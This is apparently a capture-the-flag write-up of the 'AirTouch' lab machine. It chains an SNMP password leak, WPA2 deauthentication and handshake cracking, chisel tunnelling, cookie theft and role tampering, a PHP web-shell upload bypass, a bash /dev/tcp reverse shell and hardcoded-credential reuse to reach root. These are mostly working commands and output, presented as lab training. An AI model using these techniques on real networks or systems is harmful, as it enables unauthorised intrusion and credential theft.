Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ nmap -sC -sV -Pn 10.129.244.98 -oN ./nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-23 15:29 +0000
Nmap scan report for 10.129.244.98
Host is up (0.53s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 bd:90:00:15:cf:4b:da:cb:c9:24:05:2b:01:ac:dc:3b (RSA)
| 256 6e:e2:44:70:3c:6b:00:57:16:66:2f:37:58:be:f5:c0 (ECDSA)
|_ 256 ad:d5:d5:f0:0b:af:b2:11:67:5b:07:5c:8e:85:76:76 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.37 seconds
From the tcp scan, nothing interesting here.
I would continue to check the udp scan
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ udpx -t 10.129.244.98
__ ______ ____ _ __
/ / / / __ \/ __ \ |/ /
/ / / / / / / /_/ / /
/ /_/ / /_/ / ____/ |
\____/_____/_/ /_/|_|
v1.0.7, by @nullt3r
2026/04/23 15:32:15 [+] Starting UDP scan on 1 target(s)
2026/04/23 15:32:31 [*] 10.129.244.98:161 (snmp)
2026/04/23 15:32:45 [+] Scan completed
SNMP - UDP 161
I would like use onesixtyoneto help us gather the information.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ onesixtyone -c /usr/share/wordlists/seclists/Discovery/SNMP/snmp.txt 10.129.244.98
Scanning 1 hosts, 3219 communities
10.129.244.98 [public] "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
10.129.244.98 [public] "The default consultant password is: RxBlZhLmOkacNWScmZ6D (change it after use it)"
That seems like a valid credit, maybe just ssh credit consultant:RxBlZhLmOkacNWScmZ6D
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ ssh consultant@10.129.244.98
consultant@AirTouch-Consultant:~$ whoami
consultant
consultant@AirTouch-Consultant:~$ id
uid=1000(consultant) gid=1000(consultant) groups=1000(consultant)
By checking the sudo -l, we can get the shell as root
consultant@AirTouch-Consultant:~$ sudo -l
Matching Defaults entries for consultant on AirTouch-Consultant:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User consultant may run the following commands on AirTouch-Consultant:
(ALL) NOPASSWD: ALL
consultant@AirTouch-Consultant:~$ sudo su
root@AirTouch-Consultant:/home/consultant# whoami
root
Also we can find 2 photos from the home directory of consultant
root@AirTouch-Consultant:/home/consultant# ls -al
total 888
drwxr-xr-x 1 consultant consultant 4096 Apr 23 05:53 .
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ..
lrwxrwxrwx 1 consultant consultant 9 Mar 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 consultant consultant 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 consultant consultant 3771 Feb 25 2020 .bashrc
drwx------ 2 consultant consultant 4096 Apr 23 05:53 .cache
-rw-r--r-- 1 consultant consultant 807 Feb 25 2020 .profile
-rw-r--r-- 1 consultant consultant 131841 Mar 27 2024 diagram-net.png
-rw-r--r-- 1 consultant consultant 743523 Mar 27 2024 photo_2023-03-01_22-04-52.png
This also indicates that SSH (TCP 22) and SNMP (UDP 161) are being forwarded to the advisor's laptop through the same port.
From the home directory of root, we can find a tool eaphammer
root@AirTouch-Consultant:~# ls -al
total 28
drwx------ 1 root root 4096 Jan 13 14:55 .
drwxr-xr-x 1 root root 4096 Apr 23 05:23 ..
lrwxrwxrwx 1 root root 9 Mar 27 2024 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Mar 27 2024 .cache
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 259 Mar 27 2024 .wget-hsts
drwxr-xr-x 21 root root 4096 Mar 27 2024 eaphammer
eaphammer is a tool for launching targeted malicious attacks against WPA2-Enterprise networks.
ip addrshows 9 interfaces:
root@AirTouch-Consultant:~/eaphammer# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if29: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether ca:a2:fe:9b:51:ca brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.20.1.2/24 brd 172.20.1.255 scope global eth0
valid_lft forever preferred_lft forever
7: wlan0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff
8: wlan1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
9: wlan2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
10: wlan3: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:03:00 brd ff:ff:ff:ff:ff:ff
11: wlan4: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:04:00 brd ff:ff:ff:ff:ff:ff
12: wlan5: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:05:00 brd ff:ff:ff:ff:ff:ff
13: wlan6: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 02:00:00:00:06:00 brd ff:ff:ff:ff:ff:ff
The IP address of eth0 is 172.20.1.2/24, which matches the IP address of the consultant's laptop in the diagram.
All seven wireless ports are disabled. I will turn on one of the wireless ports and scan for visible access points:
root@AirTouch-Consultant:~/eaphammer# ip link set wlan0 up
root@AirTouch-Consultant:~/eaphammer# iwlist wlan0 scan
--snip--
Cell 07 - Address: AC:8B:A9:F3:A1:13
Channel:44
Frequency:5.22 GHz (Channel 44)
Quality=70/70 Signal level=-30 dBm
Encryption key:on
ESSID:"AirTouch-Office"
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=0006501a71829b69
Extra: Last beacon: 84ms ago
IE: Unknown: 000F416972546F7563682D4F6666696365
IE: Unknown: 01088C129824B048606C
IE: Unknown: 03012C
IE: Unknown: 070A45532024041795060D00
IE: IEEE 802.11i/WPA2 Version 1
Group Cipher : CCMP
Pairwise Ciphers (1) : CCMP
Authentication Suites (1) : 802.1x
IE: Unknown: 3B027300
IE: Unknown: 7F080400400200000040
IE: Unknown: DD180050F2020101010003A4000027F7000043FF5E0067FF2F00
It found 7, I will use grep to help us get more clear information
root@AirTouch-Consultant:~/eaphammer# iwlist wlan0 scan | grep -e ESSID -e Frequency -e Address
Cell 01 - Address: 96:97:2C:79:92:F7
Frequency:2.412 GHz (Channel 1)
ESSID:"vodafoneFB6N"
Cell 02 - Address: 62:6C:69:72:29:53
Frequency:2.422 GHz (Channel 3)
ESSID:"MOVISTAR_FG68"
Cell 03 - Address: F0:9F:C2:A3:F1:A7
Frequency:2.437 GHz (Channel 6)
ESSID:"AirTouch-Internet"
Cell 04 - Address: D6:0E:16:E4:A7:1B
Frequency:2.437 GHz (Channel 6)
ESSID:"WIFI-JOHN"
Cell 05 - Address: FE:4D:BD:A7:6D:D3
Frequency:2.452 GHz (Channel 9)
ESSID:"MiFibra-24-D4VY"
Cell 06 - Address: AC:8B:A9:AA:3F:D2
Frequency:5.22 GHz (Channel 44)
ESSID:"AirTouch-Office"
Cell 07 - Address: AC:8B:A9:F3:A1:13
Frequency:5.22 GHz (Channel 44)
ESSID:"AirTouch-Office"
4 is AirTouch-Internet, and 6 and 7 are AirTouch-Office APs.
I will use airmon-ng to put the wlan0 interface into listening mode:
root@AirTouch-Consultant:~/eaphammer# airmon-ng start wlan0
Your kernel has module support but you don't have modprobe installed.
It is highly recommended to install modprobe (typically from kmod).
Your kernel has module support but you don't have modinfo installed.
It is highly recommended to install modinfo (typically from kmod).
Warning: driver detection without modinfo may yield inaccurate results.
PHY Interface Driver Chipset
phy0 wlan0 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
phy1 wlan1 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
phy2 wlan2 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
phy3 wlan3 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
phy4 wlan4 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
phy5 wlan5 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
phy6 wlan6 mac80211_hwsim Software simulator of 802.11 radio(s) for mac80211
This allows the interface to passively listen for all wireless traffic on nearby channels, not just traffic destined for this host.
I will run airodump-ng wlan0mon --band abg to begin capturing traffic. By default, it only captures traffic in the 2.4 GHz band. The --band abg parameter instructs it to capture traffic in the 802.11a (5 GHz), 802.11b (2.4 GHz), and 802.11g (2.4 GHz) bands.
CH 12 ][ Elapsed: 1 min ][ 2026-04-23 06:11
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
AC:8B:A9:F3:A1:13 -28 19 0 0 44 54e WPA2 CCMP MGT AirTouch-Office
AC:8B:A9:AA:3F:D2 -28 19 1 0 44 54e WPA2 CCMP MGT AirTouch-Office
F0:9F:C2:A3:F1:A7 -28 13 0 0 6 54 CCMP PSK AirTouch-Internet
D6:0E:16:E4:A7:1B -28 13 0 0 6 54 CCMP PSK WIFI-JOHN
FE:4D:BD:A7:6D:D3 -28 13 0 0 9 54 WPA2 CCMP PSK MiFibra-24-D4VY
62:6C:69:72:29:53 -28 25 0 0 3 54 CCMP PSK MOVISTAR_FG68
96:97:2C:79:92:F7 -28 633 0 0 1 54 TKIP PSK vodafoneFB6N
BSSID STATION PWR Rate Lost Frames Notes Probes
(not associated) 28:6C:07:12:EE:F3 -29 0 - 6 0 6 AirTouch-Office
(not associated) 28:6C:07:12:EE:A1 -29 0 - 6 0 4 AirTouch-Office
AC:8B:A9:AA:3F:D2 C8:8A:9A:6F:F9:D2 -29 0 - 1e 0 10 AccessLink,AirTouch-Office
We can crack the AirTouch-Internet device – this AP is visible, broadcasting on channel 6, using WPA2-CCMP PSK encryption, and has an active client (28:6C:07:12:EE:F3). The attack method is simple: disconnect the client's authentication, capture its WPA2 four-way handshake packets when it reconnects, and then crack the PSK offline. This allows us to access the tablet's VLAN.
I will run airodump-ng wlan0mon --channel 6 --bssid F0:9F:C2:A3:F1:A7 -w /tmp/airtouch_capture to enter packet collection mode.
root@AirTouch-Consultant:/home/consultant# aireplay-ng --deauth 10 -a F0:9F:C2:A3:F1:A7 -c 02:00:00:00:02:00 wlan0mon
07:27:49 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
07:27:49 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:49 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:50 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:51 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:51 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:52 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:52 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:53 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
07:27:54 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:02:00] [ 0| 0 ACKs]
root@AirTouch-Consultant:/home/consultant# aireplay-ng --deauth 10 -a F0:9F:C2:A3:F1:A7 -c 28:6C:07:FE:A3:22 wlan0mon
07:28:00 Waiting for beacon frame (BSSID: F0:9F:C2:A3:F1:A7) on channel 6
07:28:00 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:01 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:01 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:02 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:02 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:03 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:03 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:04 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:04 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
07:28:05 Sending 64 directed DeAuth (code 7). STMAC: [28:6C:07:FE:A3:22] [ 0| 0 ACKs]
There are many related files under /tmp, we need to download them to our local machine to crack them
root@AirTouch-Consultant:/tmp# ls -al
total 17740
drwxrwxrwt 1 root root 4096 Apr 23 06:57 .
drwxr-xr-x 1 root root 4096 Apr 23 05:23 ..
-rw-r--r-- 1 root root 126 Apr 23 06:18 airtouch-internet.conf
-rw-r--r-- 1 root root 68172 Apr 23 06:59 airtouch_capture-01.cap
-rw-r--r-- 1 root root 714 Apr 23 06:59 airtouch_capture-01.csv
-rw-r--r-- 1 root root 597 Apr 23 06:59 airtouch_capture-01.kismet.csv
-rw-r--r-- 1 root root 5312 Apr 23 06:59 airtouch_capture-01.kismet.netxml
-rw-r--r-- 1 root root 307200 Apr 23 06:59 airtouch_capture-01.log.csv
Then use aircrack-ngto crack that
aircrack-ng -w /usr/share/wordlist/rockyou.txt ./airtouch_capture-01.cap
Reading packets, please wait...
Opening ./airtouch_capture-01.cap
Read 1349 packets.
# BSSID ESSID Encryption
1 F0:9F:C2:A3:F1:A7 AirTouch-Internet WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening ./airtouch_capture-01.cap
Read 1349 packets.
Aircrack-ng 1.7
[00:01:05] 22520/14344392 keys tested (349.57 k/s)
Time left: 11 hours, 22 minutes, 49 seconds 0.16%
KEY FOUND! [ challenge ]
Master Key : D1 FF 70 2D CB 11 82 EE C9 E1 89 E1 69 35 55 A0
07 DC 1B 21 BE 35 8E 02 B8 75 74 49 7D CF 01 7E
Transient Key : 7E 40 CE CD B2 2B D4 64 F7 96 60 2E CB 3C D8 67
FB 60 F6 18 99 ED 52 C2 85 EB 2A 07 27 8E 99 0F
2A FE 93 CF 00 3E E3 4E 0B 5C 92 72 23 65 92 49
A2 65 84 3A 44 EC D1 CE C5 1D 88 87 95 FE 70 C2
EAPOL HMAC : 48 C1 87 8A 47 7B 3B 81 0F 22 52 7F 66 47 7B 20
The password for AirTouch-Internet is "challenge".
With the password and wireless interface information, I will connect to wpa_passphrase-Internet. wpa_passphrase will create the configuration:
root@AirTouch-Consultant:~/eaphammer# wpa_passphrase AirTouch-Internet 'challenge' > /tmp/airtouch-internet.conf
root@AirTouch-Consultant:~/eaphammer# cat /tmp/airtouch-internet.conf
network={
ssid="AirTouch-Internet"
#psk="challenge"
psk=d1ff702dcb1182eec9e189e1693555a007dc1b21be358e02b87574497dcf017e
}
Then wpa_supplicant will connect:
root@AirTouch-Consultant:~/eaphammer# wpa_supplicant -B -i wlan2 -c /tmp/airtouch-internet.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
root@AirTouch-Consultant:~/eaphammer# ip addr show wlan2
9: wlan2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
inet6 fe80::ff:fe00:200/64 scope link
valid_lft forever preferred_lft forever
We can use wlan2 because it's relatively clean, and I haven't made any changes to it yet. This opens the network interface, but it hasn't been assigned an IP address yet.
dhclient will kick-off the DHCP process to get one:
root@AirTouch-Consultant:~/eaphammer# dhclient -v wlan2
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/wlan2/02:00:00:00:02:00
Sending on LPF/wlan2/02:00:00:00:02:00
Sending on Socket/fallback
DHCPDISCOVER on wlan2 to 255.255.255.255 port 67 interval 3 (xid=0x1f9ba148)
DHCPDISCOVER on wlan2 to 255.255.255.255 port 67 interval 3 (xid=0x1f9ba148)
DHCPOFFER of 192.168.3.84 from 192.168.3.1
DHCPREQUEST for 192.168.3.84 on wlan2 to 255.255.255.255 port 67 (xid=0x48a19b1f)
DHCPACK of 192.168.3.84 from 192.168.3.1 (xid=0x1f9ba148)
bound to 192.168.3.84 -- renewal in 43192 seconds.
root@AirTouch-Consultant:~/eaphammer# ip addr show wlan2
9: wlan2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
inet 192.168.3.84/24 brd 192.168.3.255 scope global dynamic wlan2
valid_lft 86396sec preferred_lft 86396sec
inet6 fe80::ff:fe00:200/64 scope link
valid_lft forever preferred_lft forever
Shell as www-data@AirTouch-AP-PSK
The consultant's laptop doesn't have ping installed, but it does have nmap. I will scan the entire Class C network using the default top-level ports:
root@AirTouch-Consultant:~/eaphammer# nmap 192.168.3.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-23 06:22 UTC
Nmap scan report for 192.168.3.1 Host is up (0.000038s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
MAC Address: F0:9F:C2:A3:F1:A7 (Ubiquiti Networks)
Nmap scan report for 192.168.3.84
Host is up (0.000010s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 256 IP addresses (2 hosts up) scanned in 26.27 seconds
I will establish a tunnel to this machine by reconnecting via chisel.
# target machine
root@AirTouch-Consultant:/tmp# ./chisel client 10.10.14.16:8080 R:9090:192.168.3.1:80 2026/04/23 06:44:23 client: Connecting to ws://10.10.14.16:8080 2026/04/23 06:44:28 client: Connected (Latency 630.154369ms)
# Local machine
┌──(wither㉿localhost)-[/opt/chisel]
└─$ chisel server -p 8080 --reverse
2026/04/23 16:22:59 server: session#8: tun: proxy#R:9090=>192.168.3.1:80: Listening
Now you can visit the service
I have tried the credit of consultant, but it not worked here.
Now I will try to fuzz the valid web contents here
┌──(wither㉿localhost)-[/opt/chisel]
└─$ ffuf -u http://127.0.0.1:9090/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://127.0.0.1:9090/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 3635ms]
.htaccess [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 4737ms]
.htpasswd [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 5447ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 5449ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 367ms]
server-status [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 1216ms]
uploads [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 1380ms]
:: Progress: [4614/4614] :: Job [1/1] :: 72 req/sec :: Duration: [0:01:11] :: Errors: 0 ::
/uploads is interesting. A 301 redirect to /uploads/ is normal behavior for a directory, but accessing a path ending with a forward slash returns a 403 Forbidden error—directory listing is disabled. If I knew the filenames, I might still be able to access the files within them.
I have recovered the WPA2 encrypted pre-shared key (PSK) from previous packet captures. I can use it to view network traffic in Wireshark.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ airdecap-ng -p challenge -e "AirTouch-Internet" ./airtouch_capture-01.cap
Total number of stations seen 2
Total number of packets read 5174
Total number of WEP data packets 0
Total number of WPA data packets 11
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 11
Number of bad TKIP (WPA) packets 0
Number of bad CCMP (WPA) packets 0
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ wireshark airtouch_capture-01-dec.cap
Then we can get the decrypted data, and we can filter http data, we can find 2 packages

Continue to follow the TCP stream, we can find a cookie

Now let's use this cookie to pass the auth
Cookie: PHPSESSID=tlc91l15hnisc0rkqaudl122ga; UserRole=user
I will update my PHPSESSID cookie in Firefox Developer Tools, then visit /path

Then we are redirect to the new login page.

I noticed the page looks a bit off. There's no text inside the brackets, and there's an empty div at the bottom. If I add a UserRole cookie, it displays the contents of the cookie.

If we change to admin, there will be a upload path for us

I will try to upload a small text file to test the upload function
I still can't access /uploads/, but I can access the /uploads/test.txt file, which means it has parsed the uploaded file. We could try uploading a web shell to help us get a reverse shell.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ cat shell.php
<?php
system($_REQUEST['cmd']);
?>
Now upload it

That was denied by the website, Other file extensions that are typically considered PHP files, such as .php3, .php4, and .php5, are blocked, but .phtml works fine.
Also our web shell works so well

I cannot get any traffic returning to my host from 192.168.3.1. HTTP, ping, or reverse shell all fail. However, when I start an nc listener on the consultant's machine, I can get a reverse shell there.
# Local machine
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ curl http://127.0.0.1:9090/uploads/shell.phtml --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/192.168.3.84/4444 0>&1"'
# consultant machine
root@AirTouch-Consultant:/tmp# nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.3.1 39392
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@AirTouch-AP-PSK:/var/www/html/uploads$ whoami
whoami
www-data
www-data@AirTouch-AP-PSK:/var/www/html/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
To get a more stable shell, we can try to upgrade it
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Shell as root@AirTouch-AP-PSK
The website file system is on the path /var/www/html
www-data@AirTouch-AP-PSK:/var/www/html$ ls -al
total 44
drwxr-xr-x 1 www-data www-data 4096 Jan 13 14:55 .
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ..
-rw-r--r-- 1 www-data www-data 5556 Mar 27 2024 index.php
-rw-r--r-- 1 www-data www-data 512 Mar 27 2024 lab.php
-rw-r--r-- 1 www-data www-data 2542 Mar 27 2024 login.php
-rw-r--r-- 1 www-data www-data 1023 Mar 27 2024 logout.phtml
-rw-r--r-- 1 www-data www-data 1325 Mar 27 2024 style.css
drwxr-xr-x 1 www-data www-data 4096 Apr 23 07:56 uploads
The code of login.phpis hard-code, there are credits of accounts
</html>www-data@AirTouch-AP-PSK:/var/www/html$ cat login.php
<?php session_start(); /* Starts the session */
// Check if user is already logged in
if (isset($_SESSION['UserData']['Username'])) {
header("Location:index.php"); // Redirect to index.php
exit; // Make sure to exit after redirection
}
session_start();
if (isset($_POST['Submit'])) {
/* Define username, associated password, and user attribute array */
$logins = array(
/*'user' => array('password' => 'JunDRDZKHDnpkpDDvay', 'role' => 'admin'),*/
'manager' => array('password' => '2wLFYNh4TSTgA5sNgT4', 'role' => 'user')
);
Also, there is a user called user
www-data@AirTouch-AP-PSK:/var/www/html$ ls /home
user
Let's try to su userwith the credit user:2wLFYNh4TSTgA5sNgT4, it not worked, but user:JunDRDZKHDnpkpDDvayworked here.
www-data@AirTouch-AP-PSK:/var/www/html$ su user
Password:
user@AirTouch-AP-PSK:/var/www/html$ whoami
user
user@AirTouch-AP-PSK:/var/www/html$ id
uid=1000(user) gid=1000(user) groups=1000(user)
Also by checking sudo -lof user, we can get root directly
user@AirTouch-AP-PSK:/var/www/html$ sudo -l
Matching Defaults entries for user on AirTouch-AP-PSK:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on AirTouch-AP-PSK:
(ALL) NOPASSWD: ALL
user@AirTouch-AP-PSK:/var/www/html$ sudo su
root@AirTouch-AP-PSK:/var/www/html# whoami
root
Shell as remote@AirTouch-AP-MGT
There are some cert files from the home directory of root
broot@AirTouch-AP-PSK:~# ls -al
total 44
drwx------ 1 root root 4096 Apr 23 05:23 .
drwxr-xr-x 1 root root 4096 Apr 23 05:23 ..
lrwxrwxrwx 1 root root 9 Nov 24 2024 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 2 root root 4096 Mar 27 2024 certs-backup
-rwxr-xr-x 1 root root 0 Mar 27 2024 cronAPs.sh
drwxr-xr-x 1 root root 4096 Apr 23 05:23 psk
-rw-r--r-- 1 root root 364 Nov 24 2024 send_certs.sh
-rwxr-xr-x 1 root root 1963 Mar 27 2024 start.sh
-rw-r----- 1 root 1001 33 Apr 23 05:23 user.txt
-rw-r--r-- 1 root root 319 Mar 27 2024 wlan_config_aps
The send_certs.sh script uses scp to copy files from /root/certs-backup to 10.10.10.1.
#!/bin/bash
# DO NOT COPY
# Script to sync certs-backup folder to AirTouch-office.
# Define variables
REMOTE_USER="remote"
REMOTE_PASSWORD="xGgWEwqUpfoOVsLeROeG"
REMOTE_PATH="~/certs-backup/"
LOCAL_FOLDER="/root/certs-backup/"
# Use sshpass to send the folder via SCP
sshpass -p "$REMOTE_PASSWORD" scp -r "$LOCAL_FOLDER" "$REMOTE_USER@10.10.10.1:$REMOTE_PATH"
10.10.10.1 is the AirTouch-Office gateway, and its remote user password is "xGgWEwqUpfoOVsLeROeG". Unfortunately, this device is not connected to the 10.10.10.0/24 network, so the SSH connection failed.
root@AirTouch-AP-PSK:~# ssh remote@10.10.10.1
ssh: connect to host 10.10.10.1 port 22: Network is unreachable
root@AirTouch-AP-PSK:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
14: wlan7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether f0:9f:c2:a3:f1:a7 brd ff:ff:ff:ff:ff:ff
inet 192.168.3.1/24 scope global wlan7
valid_lft forever preferred_lft forever
inet6 fe80::f29f:c2ff:fea3:f1a7/64 scope link
valid_lft forever preferred_lft forever
15: wlan8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 62:6c:69:72:29:53 brd ff:ff:ff:ff:ff:ff
inet 192.168.4.1/24 scope global wlan8
valid_lft forever preferred_lft forever
inet6 fe80::606c:69ff:fe72:2953/64 scope link
valid_lft forever preferred_lft forever
16: wlan9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether d6:0e:16:e4:a7:1b brd ff:ff:ff:ff:ff:ff
inet 192.168.5.1/24 scope global wlan9
valid_lft forever preferred_lft forever
inet6 fe80::d40e:16ff:fee4:a71b/64 scope link
valid_lft forever preferred_lft forever
17: wlan10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 96:97:2c:79:92:f7 brd ff:ff:ff:ff:ff:ff
inet 192.168.6.1/24 scope global wlan10
valid_lft forever preferred_lft forever
inet6 fe80::9497:2cff:fe79:92f7/64 scope link
valid_lft forever preferred_lft forever
18: wlan11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
